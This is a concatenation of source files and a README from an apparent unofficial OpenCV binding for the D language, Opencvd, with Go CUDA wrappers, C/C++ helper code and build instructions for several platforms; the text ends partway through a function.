borderMode BorderType, borderValue color.RGBA) { bv := C.struct_Scalar{ val1: C.double(borderValue.B), val2: C.double(borderValue.G), val3: C.double(borderValue.R), val4: C.double(borderValue.A), } C.CudaRemap(src.p, dst.p, xmap.p, ymap.p, C.int(interpolation), C.int(borderMode), bv) } // PyrDown blurs an image and downsamples it. // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga9c8456de9792d96431e065f407c7a91b func PyrDown(src GpuMat, dst *GpuMat) { C.CudaPyrDown(src.p, dst.p) } // PyrUp upsamples an image and then blurs it. // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga2048da0dfdb9e4a726232c5cef7e5747 func PyrUp(src GpuMat, dst *GpuMat) { C.CudaPyrUp(src.p, dst.p) } // WarpPerspective applies a perspective transformation to an image. // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga7a6cf95065536712de6b155f3440ccff func WarpPerspective(src GpuMat, dst *GpuMat, m GpuMat, sz image.Point, flags InterpolationFlags, borderType BorderType, borderValue color.RGBA) { pSize := C.struct_Size{ width: C.int(sz.X), height: C.int(sz.Y), } bv := C.struct_Scalar{ val1: C.double(borderValue.B), val2: C.double(borderValue.G), val3: C.double(borderValue.R), val4: C.double(borderValue.A), } C.CudaWarpPerspective(src.p, dst.p, m.p, pSize, C.int(flags), C.int(borderType), bv) } // WarpAffine applies an affine transformation to an image. For more parameters please check WarpAffineWithParams // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga9e8dd9e73b96bdc8e27d85c0e83f1130 func WarpAffine(src GpuMat, dst *GpuMat, m GpuMat, sz image.Point, flags InterpolationFlags, borderType BorderType, borderValue color.RGBA) { pSize := C.struct_Size{ width: C.int(sz.X), height: C.int(sz.Y), } bv := C.struct_Scalar{ val1: C.double(borderValue.B), val2: C.double(borderValue.G), val3: C.double(borderValue.R), val4: C.double(borderValue.A), } C.CudaWarpAffine(src.p, dst.p, m.p, pSize, C.int(flags), C.int(borderType), bv) } // BuildWarpAffineMaps builds transformation maps for affine transformation. // // For further details. please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga63504590a96e4cc702d994281d17bc1c func BuildWarpAffineMaps(M GpuMat, inverse bool, sz image.Point, xmap, ymap *GpuMat) { pSize := C.struct_Size{ width: C.int(sz.X), height: C.int(sz.Y), } C.CudaBuildWarpAffineMaps(M.p, C.bool(inverse), pSize, xmap.p, ymap.p) } // BuildWarpPerspectiveMaps builds transformation maps for perspective transformation. // // For further details, please see: // https://docs.opencv.org/master/db/d29/group__cudawarping.html#ga8d16e3003703bd3b89cca98c913ef864 func BuildWarpPerspectiveMaps(M GpuMat, inverse bool, sz image.Point, xmap, ymap *GpuMat) { pSize := C.struct_Size{ width: C.int(sz.X), height: C.int(sz.Y), } C.CudaBuildWarpPerspectiveMaps(M.p, C.bool(inverse), pSize, xmap.p, ymap.p) } <file_sep>package cuda /* #include <stdlib.h> #include "../core.h" #include "core.h" #include "imgproc.h" */ import "C" import ( "unsafe" "gocv.io/x/gocv" ) // CannyEdgeDetector // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html // type CannyEdgeDetector struct { p unsafe.Pointer } // NewCascadeClassifier_GPU returns a new CascadeClassifier. func CreateCannyEdgeDetector(lowThresh, highThresh float64, appertureSize int, L2gradient bool) CannyEdgeDetector { return CannyEdgeDetector{p: unsafe.Pointer(C.CreateCannyEdgeDetector(C.double(lowThresh), C.double(highThresh), C.int(appertureSize), C.bool(L2gradient)))} } // Detect finds edges in an image using the Canny algorithm. // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#a6438cf8453f2dfd6703ceb50056de309 // func (h *CannyEdgeDetector) Detect(img GpuMat) GpuMat { return newGpuMat(C.CannyEdgeDetector_Detect(C.CannyEdgeDetector(h.p), img.p)) } // GetAppertureSize // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#a19c2963ff255b0c18387594a704439d3 // func (h *CannyEdgeDetector) GetAppertureSize() int { return int(C.CannyEdgeDetector_GetAppertureSize(C.CannyEdgeDetector(h.p))) } // GetHighThreshold // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#a8366296a57059487dcfd7b30f4a9e3b1 // func (h *CannyEdgeDetector) GetHighThreshold() float64 { return float64(C.CannyEdgeDetector_GetHighThreshold(C.CannyEdgeDetector(h.p))) } // GetL2Gradient // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#a8fe4ed887c226b12ab44084789b4c6dd // func (h *CannyEdgeDetector) GetL2Gradient() bool { return bool(C.CannyEdgeDetector_GetL2Gradient(C.CannyEdgeDetector(h.p))) } // GetLowThreshold // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#aaf5a8944a8ac11093cf7a093b45cd3a8 // func (h *CannyEdgeDetector) GetLowThreshold() float64 { return float64(C.CannyEdgeDetector_GetLowThreshold(C.CannyEdgeDetector(h.p))) } // SetAppertureSize // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#aac7d0602338e1a2a783811a929967714 // func (h *CannyEdgeDetector) SetAppertureSize(appertureSize int) { C.CannyEdgeDetector_SetAppertureSize(C.CannyEdgeDetector(h.p), C.int(appertureSize)) } // SetHighThreshold // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#a63d352fe7f3bad640e63f4e394619235 // func (h *CannyEdgeDetector) SetHighThreshold(highThresh float64) { C.CannyEdgeDetector_SetHighThreshold(C.CannyEdgeDetector(h.p), C.double(highThresh)) } // SetL2Gradient // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#ac2e8a675cc30cb3e621ac684e22f89d1 // func (h *CannyEdgeDetector) SetL2Gradient(L2gradient bool) { C.CannyEdgeDetector_SetL2Gradient(C.CannyEdgeDetector(h.p), C.bool(L2gradient)) } // SetLowThreshold // // For further details, please see: // https://docs.opencv.org/master/d0/d43/classcv_1_1cuda_1_1CannyEdgeDetector.html#a6bdc1479c1557288a69c6314c61d1548 // func (h *CannyEdgeDetector) SetLowThreshold(lowThresh float64) { C.CannyEdgeDetector_SetLowThreshold(C.CannyEdgeDetector(h.p), C.double(lowThresh)) } // CvtColor converts an image from one color space to another. // It converts the src Mat image to the dst Mat using the // code param containing the desired ColorConversionCode color space. // // For further details, please see: // https://docs.opencv.org/master/db/d8c/group__cudaimgproc__color.html#ga48d0f208181d5ca370d8ff6b62cbe826 // func CvtColor(src GpuMat, dst *GpuMat, code gocv.ColorConversionCode) { C.GpuCvtColor(src.p, dst.p, C.int(code)) } // Threshold applies a fixed-level threshold to each array element. // // For further details, please see: // https://docs.opencv.org/master/d8/d34/group__cudaarithm__elem.html#ga40f1c94ae9a9456df3cad48e3cb008e1 // func Threshold(src GpuMat, dst *GpuMat, thresh, maxval float64, typ int) { C.GpuThreshold(src.p, dst.p, C.double(thresh), C.double(maxval), C.int(typ)) } <file_sep>#ifndef _OPENCV3_CALIB_HELPER_H_ #define _OPENCV3_CALIB_HELPER_H_ #ifdef __cplusplus #include <opencv2/opencv.hpp> #include <opencv2/calib3d.hpp> extern "C" { #endif #include "core.h" #include "cvcore_helper.h" Mat FindHomography1(Point2fs srcPoints, Point2fs dstPoints, int method, double ransacReprojThreshold, Mat mask, int maxIters, double confidence); #ifdef __cplusplus } #endif #endif //_OPENCV3_CALIB_HELPER_H_ <file_sep>#ifndef _OPENCV3_PHOTO_H_ #define _OPENCV3_PHOTO_H_ #include <stdbool.h> #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif #include "core.h" void DetailEnhance(Mat src, Mat dst, float sigma_s, float sigma_r); void EdgePreservingFilter(Mat src, Mat dst, int flags, float sigma_s, float sigma_r); void PencilSketch(Mat src, Mat dst1, Mat dst2, float sigma_s, float sigma_r, float shade_factor); void Stylization (Mat src, Mat dst, float sigma_s, float sigma_r); void ColorChange(Mat src, Mat mask, Mat dst, float red_mul, float green_mul, float blue_mul); void IlluminationChange(Mat src, Mat mask, Mat dst, float alpha, float beta); void SeamlessClone(Mat src, Mat dst, Mat mask, Point p, Mat blend, int flags); void TextureFlattening(Mat src, Mat mask, Mat dst, float low_threshold, float high_threshold, int kernel_size); void FastNlMeansDenoising2 (Mat src, Mat dst, float h, int templateWindowSize, int searchWindowSize); #ifdef __cplusplus } #endif #endif //_OPENCV3_PHOTO_H_ <file_sep>#include "features2d_helper.h" FlannBasedMatcher FlannBasedMatcher_Create1(){ // TODO: wrap more constructors return new cv::FlannBasedMatcher(); } void FlannBasedMatcher_Close(FlannBasedMatcher fbm){ delete fbm; } struct MultiDMatches FlannBasedMatcher_KnnMatch(FlannBasedMatcher fbm, Mat queryDescriptors, Mat trainDescriptors, int k, Mat mask, bool compactResult){ std::vector< std::vector<cv::DMatch> > matches; fbm->knnMatch(*queryDescriptors, *trainDescriptors, matches, k, *mask, compactResult); DMatches *dms = new DMatches[matches.size()]; for (size_t i = 0; i < matches.size(); ++i) { DMatch *dmatches = new DMatch[matches[i].size()]; for (size_t j = 0; j < matches[i].size(); ++j) { DMatch dmatch = {matches[i][j].queryIdx, matches[i][j].trainIdx, matches[i][j].imgIdx, matches[i][j].distance}; dmatches[j] = dmatch; } dms[i] = {dmatches, (int) matches[i].size()}; } MultiDMatches ret = {dms, (int) matches.size()}; return ret; } void DrawMatches1(Mat img1, KeyPoints kp1, Mat img2, KeyPoints kp2, DMatches matches1to2, Mat outImg, Scalar matchColor, Scalar singlePointColor, CharVector matchesMask, int flags){ std::vector<cv::KeyPoint> keypts1; cv::KeyPoint keypt1; for (int i = 0; i < kp1.length; ++i) { keypt1 = cv::KeyPoint((float)kp1.keypoints[i].x, (float)kp1.keypoints[i].y, (float)kp1.keypoints[i].size, (float)kp1.keypoints[i].angle, (float)kp1.keypoints[i].response, kp1.keypoints[i].octave, kp1.keypoints[i].classID); keypts1.push_back(keypt1); } std::vector<cv::KeyPoint> keypts2; cv::KeyPoint keypt2; for (int i = 0; i < kp2.length; ++i) { keypt2 = cv::KeyPoint((float)kp2.keypoints[i].x, (float)kp2.keypoints[i].y, (float)kp2.keypoints[i].size, (float)kp2.keypoints[i].angle, (float)kp2.keypoints[i].response, kp2.keypoints[i].octave, kp2.keypoints[i].classID); keypts2.push_back(keypt2); } cv::Scalar mcolor = cv::Scalar(matchColor.val1, matchColor.val2, matchColor.val3, matchColor.val4); cv::Scalar spcolor = cv::Scalar(singlePointColor.val1, singlePointColor.val2, singlePointColor.val3, singlePointColor.val4); std::vector<cv::DMatch> dmcs; for (int i = 0; i < matches1to2.length; i++) { cv::DMatch cvdm = cv::DMatch(matches1to2.dmatches[i].queryIdx, matches1to2.dmatches[i].trainIdx, matches1to2.dmatches[i].imgIdx, matches1to2.dmatches[i].distance); dmcs.push_back(cvdm); } std::vector< char > chvec; for (int i = 0; i < matchesMask.length; i++) { chvec.push_back(matchesMask.val[i]); } cv::drawMatches(*img1, keypts1, *img2, keypts2, dmcs, *outImg, mcolor, spcolor, chvec, static_cast<cv::DrawMatchesFlags>(flags)); } SIFT SIFT_Create() { // TODO: params return new cv::Ptr<cv::SIFT>(cv::SIFT::create()); } void SIFT_Close(SIFT d) { delete d; } struct KeyPoints SIFT_Detect(SIFT d, Mat src) { std::vector<cv::KeyPoint> detected; (*d)->detect(*src, detected); KeyPoint* kps = new KeyPoint[detected.size()]; for (size_t i = 0; i < detected.size(); ++i) { KeyPoint k = {detected[i].pt.x, detected[i].pt.y, detected[i].size, detected[i].angle, detected[i].response, detected[i].octave, detected[i].class_id }; kps[i] = k; } KeyPoints ret = {kps, (int)detected.size()}; return ret; } struct KeyPoints SIFT_DetectAndCompute(SIFT d, Mat src, Mat mask, Mat desc) { std::vector<cv::KeyPoint> detected; (*d)->detectAndCompute(*src, *mask, detected, *desc); KeyPoint* kps = new KeyPoint[detected.size()]; for (size_t i = 0; i < detected.size(); ++i) { KeyPoint k = {detected[i].pt.x, detected[i].pt.y, detected[i].size, detected[i].angle, detected[i].response, detected[i].octave, detected[i].class_id }; kps[i] = k; } KeyPoints ret = {kps, (int)detected.size()}; return ret; }<file_sep>C++ sources in this folder (except the files with suffix _helper) were taken from https://github.com/hybridgroup/gocv LICENSE.txt in this folder shows license information for gocv. <file_sep>#ifndef _OPENCV3_DNN_HELPER_H_ #define _OPENCV3_DNN_HELPER_H_ #include <stdbool.h> #ifdef __cplusplus #include <opencv2/opencv.hpp> #include <opencv2/dnn.hpp> extern "C" { #endif #include "core.h" #include "cvcore_helper.h" #include "dnn.h" IntVector DNN_NMSBoxes(RotatedRects rects, FloatVector _scores, float score_threshold, float nms_threshold, float eta, int top_k); #ifdef __cplusplus } #endif #endif //_OPENCV3_DNN_HELPER_H_ <file_sep># Opencvd ## Unofficial OpenCV binding for D programming language This is an initial attempt to create an opencv binding for dlang. The C interface was borrowed from [gocv](https://github.com/hybridgroup/gocv), and the implementation has been highly influenced by it. ## Contributions * Found a bug or missing feature? open an issue or it is better you fix/wrap it and make a pull request. * If you think that some implementation would be rewritten in a more d-idiomatic way, please implement it and make a pull request. ## Some notes * It does not wrap c++ code directly, it uses a c wrapper around c++ code. * All instances of Mat and some types are allocated by C++. They must be free-ed using Destroy(). There may be some examples that I forgot to call Destroy. To be sure please take a look at the cpp files. If there are "new"s or "malloc"s, you have to call Destroy() explicitly. * Please always use git repo (~master) which is up to date. The library on the dub repo only exists for increasing the visibility of the library. ## Requirements Opencvd requires the following packages to build: * OpenCV ~>4.3 ( must be built with contrib repo) * cmake (version 3.10.2 seems working) ## Tested Systems - Ubuntu 18.04.2 LTS 64 bit - ldc2-1.8.0 - Windows 10 64 bit - ldc2-1.19.0-windows-x64 - Visual Studio 2017 community Ed. - Raspberry Pi 3 (https://www.pyimagesearch.com/2018/09/26/install-opencv-4-on-your-raspberry-pi/) - NVIDIA Jetson Nano - OSX Sierra 10.12.5 ## Notable features - opencv c++ syntax has been tried to imitate as much as the d language allows. - Uses d arrays when it is possible like: uses Point[][] to wrap std::vector<std::vector<cv::Point> > Please take a look at examples folder to understand how it looks like and available functionality - CUDA support is WIP ## Current limitations: - There may be unwrapped opencv features. - No documentation. - Most of the functionality has not been tested yet. - No unittests. ## How to build ### Ubuntu - Raspbian - Jetson Nano First, compile opencv4 + opencv_contrib for your machine. Clone opencv and opencv_contrib repositories and execute: ``` cd <opencv_source_root> mkdir build cd build cmake -DCMAKE_BUILD_TYPE=RELEASE -DOPENCV_GENERATE_PKGCONFIG=YES -DOPENCV_EXTRA_MODULES_PATH=../opencv_contrib/modules/ .. make -j4 sudo make -j4 install sudo ldconfig ``` Then, you have to compile C/C++ interface files: ``` cd opencvd/c && mkdir build cd build cmake .. // use "cmake -D OPENCVD_CUDA:BOOL=ON .." for cuda support make // or cmake --build . ``` Then use dub to build the library. In your app's dub.json, you may need to set linker flags like: ``` "dependencies": { "opencvd": "~>0.0.7" }, "lflags": ["-L/home/user/.dub/packages/opencvd", "-lopencvcapi", "-lopencvcapi_contrib"] ``` and add following to dub.json of your test app: ``` "libs": [ "opencv", // this is handled by pkgconfig. You may set it as "opencv4" depending on the name of your pkgconfig file. "opencvcapi", "opencvcapi_contrib" ] ``` Your build experience may vary. On Raspbian, you may want to use RP Official Camera, so you have to register the camera device to be /dev/video0: ``` sudo nano /etc/modules ``` and add this line to the end of the file and reboot: ``` bcm2835-v4l2 ``` ### Windows 10 64 bit: - Build OpenCV from source following this guide: https://docs.opencv.org/master/d3/d52/tutorial_windows_install.html - Open x64 Native Tools Command Prompt for VS 2017 or 2015. (I will assume you use 2017). If it is not on path already, add your ldc compiler's bin folder to path. And create an env-var to point your opencv build: ``` set PATH=%PATH%;C:\your-compilers-bin-folder\ set OpenCV_DIR=C:\your-opencv-root-folder ``` your-opencv-root-folder must contain a file named OpenCVConfig.cmake. - cd into opencvd/c/, create a build folder, and run cmake: ``` cd opencvd/c mkdir build cd build cmake .. -G "Visual Studio 15 2017 Win64" ``` This will create Visual Studio solution files in opencvd/c/build. - Open the solution with VS2017. - Go to: Configuration Properties -> C/C++ -> Code Generation -> Runtime Library - Change it from /MDd to /MT for both opencvcapi and opencvcapi_contrib (This is only working solution I've found so far). It looks like we cannot debug on windows yet. - Build opencvcapi and opencvcapi_contrib in Visual Studio, or go back to the command prompt and type: ``` cmake --build . ``` - And finally in the cmd prompt: ``` cd opencvd dub ``` Now you have *.lib files in opencvd folder. - Copy thoose lib files to your test app's root next to dub.json. - Add following to your dub.json of your test app: ``` "dependencies": { "opencvd": "~>0.0.7" }, "libs": [ "opencv_world451", "opencv_img_hash451", "opencvcapi", "opencvcapi_contrib" ] ``` While compiling your test app, you must always run dub or ldc2 commands in x64 Native Tools Command Prompt for VS 2017. And note that we have built opencvd against shared libs of opencv4. So, Compiled executables will need opencv dlls in the PATH. ### OSX - Build opencv using one of the guides found on internet such as: https://www.learnopencv.com/install-opencv-4-on-macos/ - Before compiling any code or running your test app, set required env-vars like: ``` export PKG_CONFIG_PATH=/Users/user/opencv4-dev/installation/OpenCV-master/lib/pkgconfig/ export DYLD_LIBRARY_PATH=/Users/user/opencv4-dev/installation/OpenCV-master/lib/ ``` - Build opencvcapi and opencvcapi_contrib using cmake and make commands following the ubuntu guide. Copy libopencvcapi_contrib.a and libopencvcapi.a to the root of your example app. This is an example dub.json for test app: ``` { "description": "A minimal D application.", "dependencies": { "opencvd": "~>0.0.7" }, "authors": [ "<NAME>" ], "copyright": "Copyright © 2019, <NAME>", "license": "Boost", "name": "testapp", "lflags": ["-L/Users/user/opencv4-dev/installation/OpenCV-master/lib/", "-L/Users/user/Desktop/testapp/"], "libs": [ "opencv4", "opencvcapi", "opencvcapi_contrib" ] } ``` ## Some notes about C interface (C++ functions with C externs) Gocv does not wrap some important functionality of opencv. Opencvd will cover some of those wrapping them in c++ sources with appropriate naming such as core -> core_helper, imgproc -> imgproc_helper. Thus, differences from gocv can be tracked easily. This should be a temporary solution untill a clear roadmap of opencvd project is determined by its community. ## Some examples to show how it looks like: ```d import std.stdio; import opencvd; void main() { Mat img = imread("test.png", 0); Mat subIm1 = img[0..$, 200..300]; // no copy, just new Mat header to windowed data auto roi = Rect(0, 0, 100, 200 ); Mat subIm2 = img(roi); // no copy, just new Mat header to windowed data img[200..$-50, 50..200] = Scalar.all(255); ubyte[] my_ubyte_array = img.array!ubyte; // access flat array of Mat as ubyte // my_ubyte_array.writeln; double[] my_double_array = img.array!double; // as double // my_double_array.writeln; ubyte val = img.at!ubyte(50, 30); Color color = img.at(20, 62); // or img[20, 62]; // img[20, 20] = Color(25, 26, 27); // assign like this if it is a 3 channel mat img[20, 20] = ubyte(255); // assign like this if it is a single-channel mat namedWindow("res", 0); Mat imres = Mat(); compare(img, Scalar(200, 0, 0, 0), imres, CMP_LT); imshow("res", imres); blur(img, img, Size(3, 3)); foreach(int i; 100..200) foreach(int j; 100..200) img.set!ubyte(i, j, 125); writeln(img.type2str()); writeln(img.getSize()); writeln(img.type()); writeln(img.width); writeln(img.channels); writeln(img.step); auto cnts = findContours(img, RETR_LIST, CHAIN_APPROX_SIMPLE); writeln(cnts[0][0]); // or : Point[][] contours; Scalar[] hierarchy; auto c_h = findContoursWithHier(img, RETR_CCOMP, CHAIN_APPROX_SIMPLE); contours = c_h[0]; contours.writeln; hierarchy = c_h[1]; hierarchy.writeln; namedWindow("hello", 0); imshow("hello", img); writeln(img.isEmpty()); Mat m = Mat(); writeln(m.isEmpty()); Destroy(img); auto mt = Mat(20, 20, CV_8UC3); mt[2, 3] = Color(5,6,7,255); mt[2, 3].writeln; ubyte[] data = [1, 2, 3, 4, 5, 6, 10,2, 3, 1, 1, 1 ]; Mat mymat = Mat(4, 3, CV_8U, data.ptr); mymat = mymat * 2; mymat = mymat + 3; ubyte[] mtdata = mymat.array!ubyte; mtdata.writeln; waitKey(0); } ``` ## Some screenshots ![alt text](examples/shots/text_detectionshot.png?raw=true) ![alt text](examples/shots/facedetectshot.png?raw=true) ![alt text](examples/shots/trackbarexampleshot.png?raw=true) <file_sep>#include "xfeatures2d_helper.h" SURF SURF_CreateWithParams(double hessianThreshold, int nOctaves, int nOctaveLayers, bool extended, bool upright){ return new cv::Ptr<cv::xfeatures2d::SURF>(cv::xfeatures2d::SURF::create(hessianThreshold, nOctaves, nOctaveLayers, extended, upright)); } bool SURF_GetExtended(SURF s){ return (*s)->getExtended(); } double SURF_GetHessianThreshold(SURF s){ return (*s)->getHessianThreshold(); } int SURF_GetNOctaveLayers(SURF s){ return (*s)->getNOctaveLayers(); } int SURF_GetNOctaves(SURF s){ return (*s)->getNOctaves(); } bool SURF_GetUpright(SURF s){ return (*s)->getUpright(); } void SURF_SetExtended(SURF s, bool extended){ (*s)->setExtended(extended); } void SURF_SetHessianThreshold (SURF s, double hessianThreshold){ (*s)->setHessianThreshold(hessianThreshold); } void SURF_SetNOctaveLayers (SURF s, int nOctaveLayers){ (*s)->setNOctaveLayers(nOctaveLayers); } void SURF_SetNOctaves (SURF s, int nOctaves){ (*s)->setNOctaves(nOctaves); } void SURF_SetUpright (SURF s, bool upright){ (*s)->setUpright(upright); } KeyPoints SURF_DetectAndCompute2(SURF s, Mat image, Mat mask, Mat descriptors, bool useProvidedKeypoints){ std::vector<cv::KeyPoint> detected; (*s)->detectAndCompute(*image, *mask, detected, *descriptors, useProvidedKeypoints); KeyPoint* kps = new KeyPoint[detected.size()]; for (size_t i = 0; i < detected.size(); ++i) { KeyPoint k = {detected[i].pt.x, detected[i].pt.y, detected[i].size, detected[i].angle, detected[i].response, detected[i].octave, detected[i].class_id }; kps[i] = k; } KeyPoints ret = {kps, (int)detected.size()}; return ret; } <file_sep>#include "calib3d_helper.h" Mat FindHomography1(Point2fs srcPoints, Point2fs dstPoints, int method, double ransacReprojThreshold, Mat mask, int maxIters, double confidence){ std::vector< cv::Point2f > srcpv; for( size_t i = 0; i < srcPoints.length; i++ ){ Point2f pp = srcPoints.points[i]; cv::Point2f p = {pp.x, pp.y}; srcpv.push_back(p); } std::vector< cv::Point2f > dstpv; for( size_t i = 0; i < dstPoints.length; i++ ){ Point2f pp = dstPoints.points[i]; cv::Point2f p = {pp.x, pp.y}; dstpv.push_back(p); } return new cv::Mat(cv::findHomography(srcpv, dstpv, method, ransacReprojThreshold, *mask, maxIters, confidence)); } <file_sep>#ifndef _OPENCV3_STITCHING_H_ #define _OPENCV3_STITCHING_H_ #include <stdbool.h> #ifdef __cplusplus #include <opencv2/opencv.hpp> extern "C" { #endif #include "core.h" #ifdef __cplusplus typedef cv::Ptr<cv::Stitcher>* Stitcher; #else typedef void* Stitcher; #endif void Stitcher_Close(Stitcher st); Stitcher Stitcher_Create(int mode); int Stitcher_Stitch(Stitcher st, Mats images, Mat pano); #ifdef __cplusplus } #endif #endif //_OPENCV3_STITCHING_H_ <file_sep>#include "core.h" #include "cvcore_helper.h" #include <string> void Mat_SetToWithMask(Mat m, Scalar value, Mat mask){ cv::Scalar c_value(value.val1, value.val2, value.val3, value.val4); m->setTo(c_value, *mask); } RotatedRect New_RotatedRect(Point center, Size size, double angle){ cv::Size2f rSize((float)size.width, (float)size.height); cv::Point2f centerPt = {(float)center.x, (float)center.y}; cv::RotatedRect cvrect(centerPt, rSize, (float)angle); Point* rpts = new Point[4]; cv::Point2f* pts4 = new cv::Point2f[4]; cvrect.points(pts4); for (size_t j = 0; j < 4; j++) { Point pt = {int(lroundf(pts4[j].x)), int(lroundf(pts4[j].y))}; rpts[j] = pt; } delete[] pts4; cv::Rect bRect = cvrect.boundingRect(); Rect r = {bRect.x, bRect.y, bRect.width, bRect.height}; Point centrpt = {int(lroundf(cvrect.center.x)), int(lroundf(cvrect.center.y))}; Size szsz = {int(lroundf(cvrect.size.width)), int(lroundf(cvrect.size.height))}; Contour c = {rpts, 4}; RotatedRect retrect = {c, r, centrpt, szsz, cvrect.angle}; return retrect; } void Close_Vec6fs(struct Vec6fs vec6fs){ delete[] vec6fs.vec6fs; } void Close_Vec4fs(struct Vec4fs vec4fs){ delete[] vec4fs.vec4fs; } void Close_Vec3fs(struct Vec3fs vec3fs){ delete[] vec3fs.vec3fs; } void Close_Vec2fs(struct Vec2fs vec2fs){ delete[] vec2fs.vec2fs; } void Close_Vec4is(struct Vec4is vec4is){ delete[] vec4is.vec4is; } void Close_Vec3is(struct Vec3is vec3is){ delete[] vec3is.vec3is; } void Close_IntVector(struct IntVector iv){ delete[] iv.val; } void Close_FloatVector(struct FloatVector iv){ delete[] iv.val; } void Close_DoubleVector(struct DoubleVector iv){ delete[] iv.val; } void Close_CharVector(struct CharVector chv){ delete[] chv.val; } int Mat_Dims(Mat m){ return m->dims; } uchar* Mat_RowPtr(Mat m, int i){ return (*m).ptr(i); } uchar* Mat_RowPtr2(Mat m, int row, int col){ return (*m).ptr(row, col); } void* Mat_RowPtr3(Mat m, int i0, int i1, int i2){ return (*m).ptr(i0, i1, i2); } void Mat_MultiplyInt(Mat m, int val){ *m *= val; } void Mat_DivideInt(Mat m, int val){ *m /= val; } void Mat_AddDouble(Mat m, double val){ *m += val; } void Mat_SubtractDouble(Mat m, double val){ *m -= val; } void Mat_AddInt(Mat m, int val) { *m += val; } void Mat_SubtractInt(Mat m, int val) { *m -= val; } void Mat_AddScalar(Mat m, Scalar s){ cv::Scalar scalar = cv::Scalar(s.val1, s.val2, s.val3, s.val4); *m += scalar; } Mat Mat_EQInt(Mat m, int a){ return new cv::Mat(*m == a); } Mat Mat_GTInt(Mat m, int a){ return new cv::Mat(*m > a); } Mat Mat_GEInt(Mat m, int a){ return new cv::Mat(*m >= a); } Mat Mat_LTInt(Mat m, int a){ return new cv::Mat(*m < a); } Mat Mat_LEInt(Mat m, int a){ return new cv::Mat(*m <= a); } Mat Mat_NEInt(Mat m, int a){ return new cv::Mat(*m != a); } Mat Mat_EQDouble(Mat m, double a){ return new cv::Mat(*m == a); } Mat Mat_GTDouble(Mat m, double a){ return new cv::Mat(*m > a); } Mat Mat_GEDouble(Mat m, double a){ return new cv::Mat(*m >= a); } Mat Mat_LTDouble(Mat m, double a){ return new cv::Mat(*m < a); } Mat Mat_LEDouble(Mat m, double a){ return new cv::Mat(*m <= a); } Mat Mat_NEDouble(Mat m, double a){ return new cv::Mat(*m != a); } Mat Mat_ZerosFromRC(int rows, int cols, int type){ auto out = cv::Mat::zeros(rows, cols, type); return new cv::Mat(out); } Mat Mat_ZerosFromSize(Size _sz, int type){ cv::Size sz = {_sz.width, _sz.height}; auto out = cv::Mat::zeros(sz, type); return new cv::Mat(out); } Mat Mat_OnesFromRC(int rows, int cols, int type){ auto out = cv::Mat::ones(rows, cols, type); return new cv::Mat(out); } Mat Mat_OnesFromSize(Size _sz, int type){ cv::Size sz = {_sz.width, _sz.height}; auto out = cv::Mat::ones(sz, type); return new cv::Mat(out); } int Mat_FlatLength(Mat src){ return static_cast<int>(src->total() * src->elemSize()); } void* Mat_DataPtrNoCast(Mat src){ return src->data; } Mat Mat_FromArrayPtr(int rows, int cols, int type, void* data){ return new cv::Mat(rows, cols, type, data); } Mat Mat_FromFloatVector(FloatVector vec){ std::vector<float> fvec; for(int i = 0; i<vec.length; i++){ fvec.push_back(vec.val[i]); } return new cv::Mat(fvec, true); } Mat Mat_FromIntVector(IntVector vec){ std::vector<int> fvec; for(int i = 0; i<vec.length; i++){ fvec.push_back(vec.val[i]); } return new cv::Mat(fvec, true); } Mat Mat_HeaderFromRow(Mat src, int y){ return new cv::Mat( src->row(y) ); } Mat Mat_HeaderFromCol(Mat src, int x){ return new cv::Mat( src->row(x) ); } char* _type2str(int type){ std::string r; uchar depth = type & CV_MAT_DEPTH_MASK; uchar chans = 1 + (type >> CV_CN_SHIFT); switch ( depth ) { case CV_8U: r = "8U"; break; case CV_8S: r = "8S"; break; case CV_16U: r = "16U"; break; case CV_16S: r = "16S"; break; case CV_32S: r = "32S"; break; case CV_32F: r = "32F"; break; case CV_64F: r = "64F"; break; default: r = "User"; break; } r += "C"; r += (chans+'0'); char * cstr = (char*)malloc((r.length()+1)*sizeof(char)); std::strcpy (cstr, r.c_str()); return cstr; } void Mat_CompareWithScalar(Mat src1, Scalar src2, Mat dst, int ct) { cv::Scalar c_value(src2.val1, src2.val2, src2.val3, src2.val4); cv::compare(*src1, c_value, *dst, ct); } double Mat_Dot(Mat m1, Mat m2){ return m1->dot(*m2); } Mat Mat_Diag(Mat src, int d){ return new cv::Mat(src->diag(d)); } Mat Mat_EyeFromRC(int rows, int cols, int type){ auto out = cv::Mat::eye(rows, cols, type); return new cv::Mat(out); } Scalar Mat_ColorAt(Mat src, int row, int col){ cv::Vec4b color = src->at<cv::Vec4b>(row, col); Scalar s = {(double)color[0], (double)color[1], (double)color[2], (double)color[3]}; return s; } void Mat_SetColorAt(Mat src, Scalar color, int row, int col){ cv::Vec3b c_value(color.val1, color.val2, color.val3); src->at<cv::Vec3b>(row, col) = c_value; } void Mat_MultiplyDouble(Mat m, double val) { *m *= val; } void Mat_convertTo2(Mat m, Mat dst, int rtype, double alpha, double beta){ m->convertTo(*dst, rtype, alpha, beta); } void Mat_MinMaxLoc2(Mat a, double* minVal, double* maxVal, int* minIdx, int* maxIdx){ cv::minMaxLoc(cv::SparseMat(*a), minVal, maxVal, minIdx, maxIdx); } void Mat_Merge2(struct Mats mats, int count, Mat dst){ cv::merge(*mats.mats, (size_t)count, *dst); } struct Mats Mat_Split2(Mat src){ 